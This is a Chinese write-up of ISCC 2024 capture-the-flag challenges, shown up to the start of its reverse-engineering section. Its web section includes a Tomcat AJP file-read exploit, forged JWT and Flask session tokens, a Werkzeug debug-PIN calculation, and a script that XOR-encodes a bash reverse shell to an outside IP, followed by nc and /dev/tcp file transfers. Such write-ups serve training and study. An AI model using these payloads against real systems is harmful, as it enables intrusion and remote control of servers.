ISCC 2024 部分WP

练武题

WEB

还没想好名字的塔防游戏

题目中给了塔防游戏的github原项目地址。

下载题目的网页源代码,和github项目对比,发现基本只加了world.js里的三个提示。

Cats Craft Scarves
Ivory Towers Twinkle
Dragons Whisper Secrets

提示不知道是什么意思。但是看首字母有点奇怪,另外结合游戏标题:

Mystic Defense War: The Secret of Guardian Towers and Magical Monsters
还没想好名字的塔防游戏

和github项目的名字不同,明明想好了名字,却说没想好名字,也很奇怪。

数了一下大写首字母的数量,刚好是18个,尝试flag如下正确。

ISCC{MDWTSGTMMCCSITTDWS}

原神启动

原神雷系克制草系,到success页面。

右键查看源代码,提示输入flag。然后得到提示flag.txt。

访问/flag.txt,发现是假的flag。

随便输一个地址,出现404页面。

发现是Apache Tomcat/8.5.32,找对应的漏洞。

cve-2020-1938 是一个Tomcat AJP协议的漏洞,可用于该版本,AJP协议端口是8009。

扫描该端口,发现开放服务。

使用POC:https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/tree/master

得到flag:ISCC{x!BJCyT08ZwJKLVC}

代码审计

代码如下:

#! /usr/bin/env python 
# encoding=utf-8 
from flask import Flask 
from flask import request 
import hashlib 
import urllib.parse 
import os 
import json 

app = Flask(__name__) 
secret_key = os.urandom(16) 

class Task: 
    def __init__(self, action, param, sign, ip): 
        self.action = action 
        self.param = param 
        self.sign = sign 
        self.sandbox = md5(ip) 
        if not os.path.exists(self.sandbox): 
            os.mkdir(self.sandbox) 

    def Exec(self): 
        result = {} 
        result['code'] = 500 
        if self.checkSign(): 
            if "scan" in self.action: 
                resp = scan(self.param)
                if resp == "Connection Timeout": 
                    result['data'] = resp
                else:
                    print(resp)
                    self.append_to_file(resp) # 追加内容到已存在的文件
                    result['code'] = 200 
            if "read" in self.action: 
                result['code'] = 200
                result['data'] = self.read_from_file() # 从已存在的文件中读取
            if result['code'] == 500: 
                result['data'] = "Action Error" 
        else: 
            result['code'] = 500 
            result['msg'] = "Sign Error" 
        return result 
            
    def checkSign(self): 
        if get_sign(self.action, self.param) == self.sign: 
            return True 
        else: 
            return False 
        
@app.route("/geneSign", methods=['GET', 'POST']) 
def geneSign(): 
    param = urllib.parse.unquote(request.args.get("param", "")) 
    action = "scan" 
    return get_sign(action, param)
    
@app.route('/De1ta', methods=['GET', 'POST']) 
def challenge(): 
    action = urllib.parse.unquote(request.cookies.get("action"))
    param = urllib.parse.unquote(request.args.get("param", ""))
    sign = urllib.parse.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if waf(param): 
        return "No Hacker!!!!" 
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

@app.route('/')
def index(): 
    return open("code.txt", "r").read()
    

def scan(param): 
    try: 
        with open(param, 'r') as file: 
            content = file.read()
            return content
    except FileNotFoundError: 
        return "The file does not exist" 
    
def md5(content): 
    return hashlib.md5(content.encode()).hexdigest() 

def get_sign(action, param): 
    return hashlib.md5(secret_key + param.encode('latin1') + action.encode('latin1')).hexdigest() 

def waf(param): 
    check = param.strip().lower() 
    if check.startswith("gopher") or check.startswith("file"): 
        return True 
    else: 
        return False 
        
if __name__ == '__main__': 
    app.debug = False 
    app.run()

一个flask服务器,有两个接口:/geneSign/ De1ta

/geneSign 接受一个param参数,并设置 action=”scan”,然后使用key与这两个参数拼接在一起计算md5,返回作为签名。

/De1ta 接受一个参数param,并且从cookie中获取两个参数action和sign。使用这三个参数创建Task对象,并且执行Exec()方法。

在Exec()方法中首先使用action、param重新计算签名,与sign值对比,从而验证签名。然后判断action参数中是否有字符串”scan”,若有则将param作为文件名读取文件内容,并将读取的内容写入“已存在的文件”中。接着判断action中是否有字符串”read”,若有则从“已存在的文件”中读取内容,并且作为返回数据。

因此目的就是要使action参数中既有scan又有read,而param设置为flag.txt就可以。但geneSign()中设置了action=”scan”,并且后面计算了签名。

这里的漏洞出现在签名时将各个字符串拼接在一起再计算md5,所以重新计算签名时,字符串的内容未必要和之前的一样,只要它们拼接起来一样就可以了。

所以可以在生成密钥时,设置param=”flag.txtread”,这时action=”scan”,拼接起来是”flag.txtreadscan”。

在验证密钥时,设置param=”flag.txt”,action=”readscan”,这时拼接起来仍然是”flag.txtreadscan”,验证通过,满足读取flag.txt的条件。

综上,生成密钥如图:

验证签名,读取flag.txt如图:

得到flag:ISCC{djladaajalfjhlasfj}

Flask中的pin值计算

(1) Username

查看页面源代码,有一个注释的base64,解码后得到/getusername

输入'不要重复说话,告诉我username',得到username是pincalculate。

(2) modname

默认值flask.app

(3) appname

默认值Flask

(4) app.py绝对路径

在/getusername页面,输入’ app.py绝对路径’,得到/crawler。

访问,要一秒内计算公式,写python代码实现:

import requests

url = "http://101.200.138.180:10006//get_expression"

r = requests.Session()

json = r.get(url).json()

print(json['expression'])

answer = eval(json['expression'].replace('÷','/'))

url_ans = "http://101.200.138.180:10006/crawler?answer="+str(answer)

submit = r.get(url_ans)

print(submit.text)

得到

<h1>/usr/local/lib/python3.11/site-packages/flask/app.py</h1>
<h1>uuidnode_mac位于/woddenfish</h1>

所以app.py绝对路径是 /usr/local/lib/python3.11/site-packages/flask/app.py

(5) uuidnode mac

访问/woddenfish,点击敲击,发现发送了一个post请求,载荷是json数据:

{"session":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiZG9uYXRlIiwicXVhbnRpdHkiOjF9.gT7yG_zYb22iGVXcGtSVzYr-fAeb_Nyv4KbeH3Ez8hc"}

显然是一个jwt token。

在页面源码中有一个display: none元素:ISCC_muyu_2024,应该是密钥。

拿去 https://jwt.io/ 修改jwt的payload,将quantity改大一点。

使用该jwt发送请求,得到uuidnode mac为 02:42:ac:18:00:02,十进制为 2485378351106

(6) machine_id

访问/machine_id,点击VIP会员奖品得到一串jwt token,请求的接口是 http://101.200.138.180:10006/vipprice?token=。

这里存在CVE-2022-39227,使用poc: https://github.com/user0x1337/CVE-2022-39227

注入 role=vip,得到payload如下

{"  eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTU2NTY4MjIsImlhdCI6MTcxNTY1MzIyMiwianRpIjoiWkhGbE1EQTFzeUE4RmVramVFY1lNdyIsIm5iZiI6MTcxNTY1MzIyMiwicm9sZSI6InZpcCIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTU2NTY4MjIsImlhdCI6MTcxNTY1MzIyMiwianRpIjoiWkhGbE1EQTFzeUE4RmVramVFY1lNdyIsIm5iZiI6MTcxNTY1MzIyMiwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9","signature":"XrTo-A5LZLb_4bVu0gslb_1yBRQ9Jt_s3PG-Ij_k6RdtPnSa5vWaapFk--MxnW_mnD9DPQswzLFYU2Aqub5xLrT-uY6aXjJauR8D5HFOpX6ERnBjjlDzdkSRG59ZwsyLBfdDeUHepK61kvUbG0qR3-d3XkQWA8zrPCg_5s-QDa7wWS2zVHEGZwZUEmmW8eDskV1_9ZQX4zZEHKh1_6BW6tb9I2EZ9jZnyyR7Xhsv9lI5WkU0C1FibCM5jMcj5qwImYJ9oejz4PTMNsSLjzIgM2OOqAf6cQYd0PxiPSjtgXEdNin4Q6ijmtsgIkOaevzW3l18q8ej3X6LkPCTWWnx3A"}

传入token参数中,得到密钥 welcome_to_iscc_club

在/machine_id页面,有个SUPERVIP会员奖品按钮,接口是 http://101.200.138.180:10006/supervipprice

使用密钥修改flask session,设置 role=supervip。

这里使用的工具是 https://github.com/noraj/flask-session-cookie-manager

得到新的flask session: eyJyb2xlIjoic3VwZXJ2aXAifQ.ZkMHgg.VGPstnKYdOL0B-il_bxNEhfJ2b8

使用新的session值请求supervipprice接口。

得到machine_id:39c61de4-9c0a-4738-b95d-ef3f488d7222

(7) 计算pin值

参考网上的代码,https://blog.csdn.net/weixin_63231007/article/details/131659892

import hashlib
from itertools import chain
 
probably_public_bits = [
    'pincalculate'  # username 可通过/etc/passwd获取
    'flask.app',  # modname默认值
    'Flask',  # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.11/site-packages/flask/app.py'  # 路径 可报错得到  getattr(mod, '__file__', None)
]
 
private_bits = [
    '2485378351106',  # /sys/class/net/eth0/address mac地址十进制
    '39c61de4-9c0a-4738-b95d-ef3f488d7222'
 
    # 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]
 
# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
 
cookie_name = '__wzd' + h.hexdigest()[:20]
 
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
 
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num
 
print(rv)

得到pin值:145-292-248

访问/console,输入pin值,得到flag:ISCC{WjbhDJtTrXfXcZa_}

掉进阿帕奇的工资

随便注册一个账户,登录时发现没有权限登录。

在信息重置页面进行信息重置,提示身份太弱不是manager

那么应该是要提权为manager。

后来尝试发现选择“您的母校名称是什么”作为密保问题,输入任意答案,然后重置就可以是manager身份。

登录成功,在工资页面发现异或命令执行,基本工资和绩效输入的值会进行异或,异或之后的值会被作为命令执行。

但是过滤了空格很多字符。

不过经过测试,只是对基本工资和绩效两个参数的过滤,没有过滤异或之后的字符串。

所以可以写代码,将要执行的命令自己先异或一次,拿异或之后的字符串与对应长度的1作为参数,从而执行任意命令。这里执行一个反弹shell的payload:

bash -c 'bash -i >& /dev/tcp/139.9.3.42/55666 0>&1'

python代码如下:

import requests
from bs4 import BeautifulSoup

# 定义目标URL
url = 'http://101.200.138.180:60000/gongzi_iscc.php'

# 定义请求头(如果需要)
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'Upgrade-Insecure-Requests': '1',
    'Priority': 'u=1',
    'Origin': 'http://101.200.138.180:60000',
    'Connection': 'close',
    'Referer': 'http://101.200.138.180:60000/gongzi_iscc.php'
}

cookies = {
    'PHPSESSID': 'hdi5sofdvh7kr7tle1uac0bf8d'
}

cmd = "bash -c 'bash -i >& /dev/tcp/139.9.3.42/55666 0>&1'"

ones = '1'*len(cmd)

payload = ''.join([chr(ord(cmd[i])^ord(ones[i])) for i in range(len(cmd))])


# 定义请求体(数据)
data = {
    'basicSalary': payload,
    'performanceCoefficient': ones,
    'calculate': '111'
}

# 发送POST请求
response = requests.post(url, headers=headers, data=data, cookies=cookies)

# 检查响应状态码
if response.status_code == 200:
    print('请求成功!')
    # print('响应数据:', response.text)
    # 使用 BeautifulSoup 解析 HTML
    soup = BeautifulSoup(response.text, 'html.parser')
    
    # 找到所有<div class="result-box">元素
    result_boxes = soup.find_all('div', class_='result-box')
    
    # 遍历每个结果框
    for result_box in result_boxes:
        # 输出结果框下的内容
        print(result_box.text)
else:
    print('请求失败, 状态码:', response.status_code)
    print('响应内容:', response.text)

print(data)

很多命令都没有,上传一个busybox。

在自己的VPS使用cat busybox | nc -lvnp 55668,等待靶机连接。

在靶机使用cat < /dev/tcp/139.9.3.42/55668 > busybox,建立tcp连接并读取其中的数据保存为busybox。

使用arp -a查看内网主机。

发现有一个secret.host,访问一下发现80端口打开。

访问/flag,得到flag。

MISC

Number_is_the_key

下载xlsx文件后发现里面什么都没有,但是文件大小还很大,那么一定有隐藏数据。

改成zip解压后,发现xl/worksheets/sheet1.xml文件中存在大量的单元格数据,但是仅标出了该单元格的位置,并没有单元格的内容。

所以自己手动添加上内容,将所有/><c字符串替换为><v>1</v></c><c,即将所有单元格内容赋值为1。

然后重新压缩成zip,改成xlsx打开。可以看到已经标出这些单元格,似乎是一个二维码。设置条件格式,内容等于1时填充为黑色,并且修改列宽为2,得到下图二维码。

扫码得到flag。

ISCC{X6C334DFhZyO}

FunZip

给了一个txt文件:

VTFSS2MyUldhM2xsUkZaaFVqRlZORmxXWXpWbGJWSkpVMjE0V2xaNlFYSlJNbU01VUZG
VTFSS2MyUldhM2xsUkVaaFVqRlZORmw2VGxObFYwWllUbGMxVVZveU9EbEVVUV
VTFSS2MyUldhM2xsUkVaaFVqRlZORmRVVGs5TlIwNTBZa2hXWVdWcVVreEVWcB
VTFSS2MyUldhM2xsUkVaaFVqRlZORmRVVGs5TlJuWklZa2hhVVZveU9EbEVVUW
VTFSS1UySkdjSFJpU0ZaaFZUQktNRmRXYUc5a1ZXeEZZWHBXVUZWWE9EbEVaQs
VVRKak9WQlJNY0
V2tab1QyTkhTblJaTW1ScFlsVmFNVmRzYUU5a01XeFlWRzE0U2xORk5IZFhhMUo2VTNjeD
VVRKak9WQlJNTm
VjFSS2IyRkhUbkJWYlhCYVZtNVNNRmRXYUc5a1ZtaFdaREprV2sxcmNHbFpiR1JIVGtkS2MyMUVaRVJhZWpBNVJGVy
VVRKak9WQlJNVk
V1Zaak1VMUZiRWhVYmxKcVVUSm9ObHBGYUV0alIycDBXVEprV2xVelpHNVplazVUWlZkR1dFNVhOVXBTTW14M1VUSmpPVkJSTWy
V2xoa2RsQlJNZl
VTFWT1Fsb3piRWhpUnpGTVVqTldNVmw2U25OT2JIQlVXak5DU2xKRVVtNVhWMnN4WlcxR1dXTkhlRXhSTW5SM1VUSmpPVkJSTXq
VTFWT1Fsb3diRVJpVjJSS1lqfktOVmRzYUZOTlYwNTBUa2RrVGxaSVRreEVZbf
VTFWT1Fsb3diRWhXYms1cVRXeFdibGxXWkZwaU1XeFVUbGh3YUZkSVFuTlRNRTV5V2pGQ1JGRnRiRTFpYXpWM1dsY3hWbUl3ZEZSaE1ITk8
VTFWT1Fsb3diRVJSVjJSS1VUQktOVmRzYUZOTlY9NTBUa2RrVFZaRlZUTlJNbU01VUZFd9
VTFWT1Fsb3diRWhXYms1cVRXeFdURVJr
VTFWT1Fsb3diRWxqTUhOT1
VTFWT1Fsb3diRVJSVjJSS1VUQktkRmxxVGtwaU1rWllUbFJDU2xJeWRHNVZSazVDWkRBNU5WRnVRa3BTU0dSdVYxWk5NV1Z0UmxsalIzaE1VVEp6TTFOVlpISmphM1ExWVRCelRq
VTFWT1Fsb3liRVJSVjJSS1VUSkpNMUV5WXpsUVVUSq
VTFWT1Jsb3hiRVJSVjJSS1VURkdibE5WVGtKYU1rWllWMWM1V2xadVVuZFhSazVDVDBWc1NGTnRTbWhXYWtKM1VUSmpPVkJSTVL
VTFWT1Fsb3diRVJaVjJSS1dUQkdibE5WVGxKYU1HeEVXVmRsU2xORmNITmFSV2hYWlZkS2NGbFlVbDVXU0U1TVJGbG
VTFWT2Zsb3hiRVJSVjJSS1VURkdibE5WVGtKaU1rWllWMWM1V2xadVVuZFhSazVDU3pGc1NGTnRTbWhXaWtKM1VUSmpPVkJSTWa
VTFWT1Fsb3diRVJZVjJSS1dEQkdibE5WVGtKYU1HeEVXRmRrU2xORmNITmFSV2hYWlZkS2NGaFlhRkJrTWpoNVJGaF
VTFWT1Fsb3diRVJSVjJSS1VUQkpOVkV5WXpsUVVUQ4
VTFWT1Fsb3diRVJrVjJSS1pEQktOVmRzYUZOTlYwNTBUa2RrVGxKSVRreEVaSl
VTFWT1Fsb3diRWxOUlhOT5
V214R2RsQlJNbt
VVRKak9WQlJNVD
V2tjd05XTkdjRVJSYm14aFYwVTFjMXBGWkVaaU1rMTZWVzVzYUZaNlZuVlRWV1JHWTBWT2JsQlVNRTU
V2xoa2RsQlJNWA
VTFWT2Rsb3hiRWhOVjNocFYwVTFjMXBGVG05aGJHeFVaRE5rVFZORk5YZGFWekZYWkd4d2NHRkhjRnBWTW5SM1ZETmtkbEJSTWQ
VTFWT1Fsb3liRWhYYmxwcVlWZG9kMWx0TlZKYU1rWlVVVlJzU2xKRlJUTlRWV1J5V2pGQ1JGRnRhRTFpYXpWM1dsY3hWbUx5ZEZWak1tUm9WVE5PZVZNeFJuWlFVVEw
VTFWT1Fsb3diRWxqTUhOTw
VTFWT1Fsb3diRVJSVjJSS1VUQktjVmRXV2pCalJtaFVVVlJzU2xJd1dtbFhWazB4WlcxR1dXTkhlRXhSTW5Rd1ZGWk5lR05HYUZSUldGSktVVEpPTTFOdWNIcFRkekE
VTFWT1Fsb3diRWxOUlhOTw
V214R2RsQlJNcw
VVRKak9WQlJNTQ
V2tjd05XTkdjRVJSYm14aFYwVTFjMXBGWkVwaU1rMTZWVzVzYUZaNlZuVlRWV1JLWTBWT2JsQlVNRTQ
V2xoa2RsQlJNMQ
VTFWT2Zsb3hiRWhOVjNocFYwVTFjMXBGVG05aGJHeHdaRE5rVFZORk5YZGFWekZYWkd4d2NHRkhjRnBoVjNSM1ZETmtkbEJSTWY
VTFWT1Fsb3diRWhYYmxwcVlWZG9kMWx0TlZKYU1rWlVVVlJzU2xKRlJUTlRWV1J5V2pGQ1JGRnRiRTFpYXpWM1dsY3hWbUl3ZEZWak1tUm9WVE5PZVZNeFJuWlFVVEI
VTFWT1Fsb3diRWxqTUhOTw
VTFWT1Fsb3hiRVJSVjJSS1VURktjVmRYZURGalJtaFVVVlJzU2xJeGNHbFhWMnN4WlcxR1dXTkhlRXhSTW5ReFZGWk5lR05HYUZSUldGSktVVEpPTTFOdWNIcFRkekU
VTFWT1dsb3hiRVJSVjJSS1VURkdNbFJFVGtObFYwWllUbFJDWVdGWFpIQlRiR1JTWVZWNFNGUnRiRmhOYlhoclV6RlNlbE4zTVc
VTFWT1Fsb3diRWxOUlhOTw
V214R2RsQlJNeg
VVRKak9WQlJNMA
V1hwT1UyVlhSbGhPVnpWS1VqRmFjbGRyVG05bGJWSkpVMjVDYVdKWFRtNVhWazR6V2pKTmVsVnViR2hXZWxaMVUxVmtTbU5GZURWTU1uaHdZMVZTZEdONlZsWlRkekY
V2xoa2RsQlJNcg
VTFWT1Fsb3diRWxUYlhocVRXeFpkMWRXVG05aFJYUlZZek5hVFVzeVJreGhXRlpvWkcxdmVsVjZVbTVVTVUwMVlXMVdXR1JITVZCYVYwWnZWREZrTUdKRGRHeGpNMEl4VmpGQ2RGUXlSa3BoTURsb1ZtNU9VRll6VW5ObFdIQnpaRmRLYVdFelZrdFdSekZ3WWpOS2RHSkhTa1ZpYmxVd1ZrZDRlVTVFVG5aa2FsSnRZbGUxYUZkSGRESmphVGx5WkZlNE0ySkhkRXBPTTBKMVdWVjRlbVJWYTNwaVIzUktaVzEwTWxkVVRuUmlSMHBGWW0wd00yRnRlSEJqVlVaTVJGZQ
VTFWT1Fsb3diRWxUYlhocVRXeFpkMWRYYkc5aFZYUlZZekJ6VGc
VTFWT1Fsb3diRWhYYmxwcVlWZG9kMWx0TlZKYU1rWlVWRlJzU2xKRlJUTlRWV1J5V2pGQ1JGUnVVbHBYUjJneFZETnNRMk5GZERWak0wSkVXbm93T1VSVQ
VTFWT1Fsb3diRWxqTUhOTw
VTFWT1Fsb3diRVJSVjJSS1VUQktjVmRXV2pCalJtaFVVVlJzU2xJd05XOVdla3B6V2tWc1JHTXlaRnBOYTNCcFdWWlpkMDR3VG01UVZEQk8
VTFWT1Fsb3diRVJSVjJSS1VUQktkMWR0Ykc5aGJHeFhaRWhDV1ZVd1JYSlZSazVDWlZWMFdXTXdjMDQ
VTFWT1Fsb3diRVJVVjJSS1ZEQkdibE5WVGtKYU1XdDVVbTFLYUZVelRqUlhSazVDWTJ4Q1ZGUllhRkJrTWpnNVJGUQ
VTFWT1Fsb3diRVJSVjJSS1VUQkdibE5WVGtKYU1XdDVVbTFLYUZacVFtNVVSbEYzV2pBeGNXTXdjMDQ
VTFWT1Fsb3diRVJSVjJSS1VUQkpOVkV5WXpsUVVUQQ

很明显是一堆base64,首先拿去cyberchef解密,四次base64解密后得到原文。

但是有些行最后部分字节解密后乱码。

并且对于成功解密的行,将原文拿去四次base64编码,得到的字符串与题目给出的字符串在最后部分也存在不同。

猜测是Base64隐写,将信息藏在base64编码最后一个字节的填充位上,改变了最后一个字节,然后经过四次编码得到了许多不同字节。

补充一下base64隐写的知识:

根据base64编码方式,6位二进制编码一个字符,总字节数应能被3整除,若不能整除的,则在末尾填充0,相应在base64编码后填充=

base64解码时,按8位二进制一组解码,多余部分丢弃

解码时,base64编码中若有填充(有=号),则在=号前的最后一个字节的后几位会被丢弃(后2位或后4位),因此在这几位可以隐藏信息,而不会影响base64解码结果。

写python脚本,首先补齐后面的等号,然后从每一行的最后一个字节中提出插入的bit。

import base64

b64charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

with open('f380d850e6ebdb19b7d0743.txt', 'r') as f:
    hind_bin = ''
    for line in f.readlines():
        now_str = line.strip()
        if len(now_str)%4 != 0:
            now_str += "="*(4-len(now_str)%4) #base64字符串一定是4的倍数,补齐等号

        row_str = base64.b64encode(base64.b64decode(now_str)).decode() #添加隐写前的base64字符串

        #base64隐写会修改最后一个字节的内容,因此求隐写前后的最后一个字节的差值
        offset = abs(b64charset.index(now_str.replace('=','')[-1]) - b64charset.index(row_str.replace('=','')[-1]))

        #将各行的隐藏数据拼接在一起,隐藏数据转为二进制并且填充前导零,隐藏数据的位数等于=的数量*2,因为base64隐写只有三种情况:1.一个=号,这时有两位可以隐藏数据;2.两个=号,这时有四位可以隐藏数据;3.没有=号,这时没有隐藏数据
        equalnum = row_str.count('=')
        if equalnum:
            hind_bin += bin(offset)[2:].zfill(equalnum*2)
        print(hind_bin)

    #按ascii码每八位转成一个字符
    hind_str = ''.join([chr(int(hind_bin[i:i + 8], 2)) for i in range(0, len(hind_bin), 8)])

print(hind_str)

得到flag:ISCC{QlCbIo5kiagL}

精装四合一

四张图片,用010editor打开发现后面都有附加数据。

将原png图片数据删掉,仅留下这些附加数据。

尝试异或0xff后,发现这四个文件的开头字节分别是50,4B,03,04,即zip压缩包的开头字节。

所以循环依次读取这四个文件中的字节,并且写入一个新文件中,python代码如下:

# 打开四个文件
file_paths = ["left_foot_invert.png", "left_hand_invert.png", "right_foot_invert.png", "right_hand_invert.png"]
files = [open(path, "rb") for path in file_paths]

# 创建一个新文件用于写入
output_file = open("output.zip", "wb")

try:
    while True:
        for file in files:
            byte = file.read(1)  # 从每个文件中读取一个字节
            if byte:
                output_file.write(byte)  # 将字节写入新文件
            else:
                break  # 如果文件结束,则停止读取该文件
        else:
            continue  # 如果所有文件都还没结束,则继续循环
        break  # 如果有文件结束了,则退出循环
finally:
    # 关闭所有文件
    for file in files:
        file.close()
output_file.close()

得到zip文件,解压时发现要密码。不是伪加密,尝试使用ARCHPR爆破,设置数字0-9,长度1-9,爆破得到密码65537。

使用密码解压zip,得到一个word文档,其中说flag在这里,但是仅有一个图片。

可能有隐藏数据。将word后缀改为zip,解压,查看word\document.xml文件,发现有一串隐藏数据:16920251144570812336430166924811515273080382783829495988294341496740639931651

有可能是rsa的n值,拿去yafu分解,得到p和q。

但是还没有密文。继续找有没有隐藏数据,最终发现\word\media\ true_flag.jpeg。该jpeg文件打不开,hex格式查看发现仅有一串数据,猜测就是密文。

写python代码,读取密文,使用p,q,n计算私钥d,并解密。

import gmpy2
# import 

with open('true_flag.jpeg','rb') as f:
    enc = int.from_bytes(f.read(),'big')

e = 65537
p = 167722355418488286110758738271573756671
q = 100882503720822822072470797230485840381
n = 16920251144570812336430166924811515273080382783829495988294341496740639931651

phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)

dec = pow(enc,d,n)
flag = int(dec).to_bytes(32,'big')

print(flag)

得到flag:ISCC{5C07W75t26s738k}

RSA_KU

解方程组,求(p-1)和(q-1)。

Python代码如下:

from sympy import symbols, solve
import gmpy2
from Crypto.Util.number import *

n = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668100946205876629688057506460903842119543114630198205843883677412125928979399310306206497958051030594098963939139480261500434508726394139839879752553022623977
e = 65537
c = 97898683638766026230263597135292233881865348723121596085191081970268874981037896930930087698668671774738998955534852004274313401297602694528447777804554983021578140647266576965584784432205308238672393769029977629562247050486003700291768483527755299296535734362293554817433947961032019145082077652857905644761
a = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668067056973833292274532016607871906443481233958300928276492550916101187841666991944275728863657788124666879987399045804435273107746626297122522298113586003834
b = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668066482326285878341068180156082719320570801770055174426452966817548862938770659420487687194933539128855877517847711670959794869291907075654200433400668220458

# 定义变量
x, y = symbols('x y')

# 定义方程组
eq1 = n-x-2*y-1-a
eq2 = n-2*x-y-1-b

# 求解方程组
solution = solve((eq1, eq2), (x, y))

# 打印解
print("x =", solution[x])
print("y =", solution[y])

phi = int(solution[x]*solution[y])

print(phi)

d = gmpy2.invert(e,phi)

m = pow(c, d, n)

print(long_to_bytes(m))

得到flag:ISCC{IN0tnKciooJxw6EvsN--}

时间刺客

使用tshark从流量包中导出键盘流量数据,命令如下:

tshark -r example.pcap -T fields -e usb.capdata > usbdata.txt

将键盘流量转为字符串,python代码:

#!/usr/bin/env python
presses = []

normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}

shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}

def main():
    # read data
    with open("usbdata.txt", "r") as f:
        for line in f:
            presses.append(line[0:-1])
    # handle
    result = ""
    for press in presses:
        Bytes = [press[i:i+2] for i in range(0, len(press), 2)]
        if Bytes[0] == "00":
            if Bytes[2] != "00":
                result += normalKeys[Bytes[2]]
        elif Bytes[0] == "20": # shift key is pressed.
            if Bytes[2] != "00":
                result += shiftKeys[Bytes[2]]
        else:
            print("[-] Unknow Key : %s" % (Bytes[0]))
    print("[+] Found : %s" % (result))


if __name__ == "__main__":
    main()

得到:flag{pr355_0nwards_a2fee6e0}

该flag{}中的内容,去掉下划线,可以作为7z文件的密码:pr3550nwardsa2fee6e0

解密得到一个rar压缩包。

里面的文件名有顺序,大小都为0,时间与2024年10月14日早8点差不多。

写python代码,用这些时间减去2024年10月14日早8点,差值作为字符的ASCII码。

import rarfile
import re
import datetime

rar_filename = "5.rar" 

flag = ""

# 修正文件排序
def extract_number(filename):
    try:
        return int(re.search(r'\.(\d+)', filename).group(1))
    except:
        return 99999999999999999

with rarfile.RarFile(rar_filename) as rf:
    for file_info in sorted(rf.infolist(), key=lambda x: extract_number(x.filename)):
        # print(file_info.filename)
        timestamp = file_info.date_time
        dt = datetime.datetime(*timestamp)
        timestamp = int(dt.timestamp())
        try:
            # 1728835200 由提示,2024年10月14日早8点,对应的时间戳修正而来
            flag += chr(timestamp - 1728835200)
        except:
            pass

flag = "ISCC{" + flag + "}"
print(flag)

得到flag:ISCC{ohciJuq5lmaH7eXd6G}

有人让我给你带个话

给了一个Tony.png文件。

Tony.png放进010 Editor中,发现在png数据后面还有一个rar文件数据。

将上面的png数据删掉,保存,修改后缀为rar,解压得到一个lyra.png。

在网上搜索发现Lyra是一个音频编解码工具,github地址为 https://github.com/google/lyra。

“有人和你说了一些东西“文件猜测就是lyra文件,修改后缀为.lyra。

下载lyra项目,对该文件进行解码,执行:

bazel-bin/lyra/cli_example/decoder_main --encoded_path=../something.lyra --output_dir=../ --bitrate=3200

听了一下wav文件,可能是核心价值观编码,用在线工具转成文本。

得到:自由诚信富强和谐敬业平等民主自由爱国自由诚信平等平等平等和谐敬业平等法治自由诚信和谐和谐和谐和谐法治自由友善公正

解码得到flag:ISCC{J9QHOU9WM37L}

RE

迷失之门

IDA打开,大概逻辑是输入flag,然后经过check1和check2两个函数判断。

其中在check1中对输入字符串进行了修改,如果修改后的结果等于check2中的字符串” FSBBhKigNOfHaoCaaSeEFPKEsj6”,则输入字符串是正确的flag。

